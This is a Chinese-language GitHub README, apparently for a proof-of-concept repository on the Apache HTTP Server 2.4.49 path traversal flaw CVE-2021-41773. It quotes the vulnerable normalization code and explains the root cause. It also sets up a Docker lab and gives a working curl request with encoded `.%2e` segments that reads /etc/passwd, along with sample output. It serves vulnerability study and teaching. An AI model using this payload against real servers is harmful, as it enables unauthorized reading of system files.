tr3m0x/CVE-2021-41773
GitHub: tr3m0x/CVE-2021-41773
该项目提供了 Apache HTTP Server 2.4.49 路径遍历漏洞 CVE-2021-41773 的概念验证代码与深度根因分析。
Stars: 0 | Forks: 0
# CVE-2021-41773 PoC — Apache HTTP Server 路径遍历
## 概述
CVE-2021-41773 是一个影响 **Apache HTTP Server 2.4.49** 的路径遍历漏洞。
该漏洞允许攻击者在特定配置下访问预期目录之外的文件,特别是当目录通过 `Alias`、`ScriptAlias` 或其他类似 Alias 的指令暴露时。
该漏洞的存在是由于对 **URL 路径规范化与标准化** 的处理不当。Apache 对路径表示形式执行了安全检查,而该表示形式可能仍然包含编码字符,这使得攻击者能够利用编码的点序列绕过遍历检测。
## 影响
攻击者可以构造一个包含编码遍历序列的恶意 URL,例如:
```
.%2e
```
其中:
```
%2e = .
```
因此:
```
.%2e
```
在解码后变为:
```
..
```
如果 Apache 在将其解析为标准形式之前验证了编码的表示形式,则遍历检查可能会被绕过。
成功利用该漏洞可使攻击者从文件系统中读取任意文件。
示例目标:
```
/etc/passwd
```
# 漏洞代码
存在漏洞的逻辑位于:
```
server/util.c
```
内部:
```
ap_normalize_path()
```
Apache 2.4.49 的漏洞代码:
```
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
```
# 根本原因分析
漏洞代码试图识别目录遍历模式:
```
../
```
通过检查连续的点:
```
path[l + 1] == '.'
```
然而,攻击者可以提供一个编码后的遍历序列:
```
/.%2e/
```
在进行规范化检查时,Apache 处理的是:
```
.%2e
```
而不是:
```
..
```
因为:
```
%2e != .
```
遍历检测逻辑未能将该序列识别为:
```
../
```
随后,该路径以其解码形式被解释,从而导致了遍历的发生。
# 存在漏洞的处理流程
存在漏洞的行为可以表示为:
```
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
```
安全决策是在路径到达其最终标准表示形式之前做出的。
更安全的做法是:
```
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
```
安全检查应始终针对最终规范化的表示形式进行。
# 实验环境搭建
## 克隆仓库
```
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
```
## 构建存在漏洞的 Docker 镜像
```
docker build -t apache-cve-2021-41773 .
```
## 启动存在漏洞的 Apache 服务器
```
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
```
# 漏洞利用
发送一个包含编码遍历序列的请求:
```
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
```
成功的漏洞利用将返回以下内容:
```
/etc/passwd
```
示例:
```
root:x:0:0:root:/root:/bin/bash
```
# 关于 HTTP 403 响应的说明
`403 Forbidden` 响应并不一定意味着漏洞利用失败。
在测试过程中,Apache 可能会成功地将:
```
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
```
规范化为:
```
/etc/passwd
```
但由于文件系统权限或 Apache 授权规则而拒绝访问。
示例:
```
client denied by server configuration: /etc/passwd
```
这表明遍历已经成功发生,但访问控制阻止了文件的泄露。
# 关键结论
CVE-2021-41773 是一个典型的**标准化漏洞**案例。
用户可控的输入可以有多种表示形式:
```
.%2e
```
和:
```
..
```
尽管它们看起来不同,但表示的是相同的路径组件。
安全检查必须始终在解码和规范化之后进行。验证编码或模糊的表示形式可能会导致安全绕过。
标签:Apache HTTP Server, CISA项目, Cutter, PoC, 安全漏洞, 暴力破解, 请求拦截, 路径穿越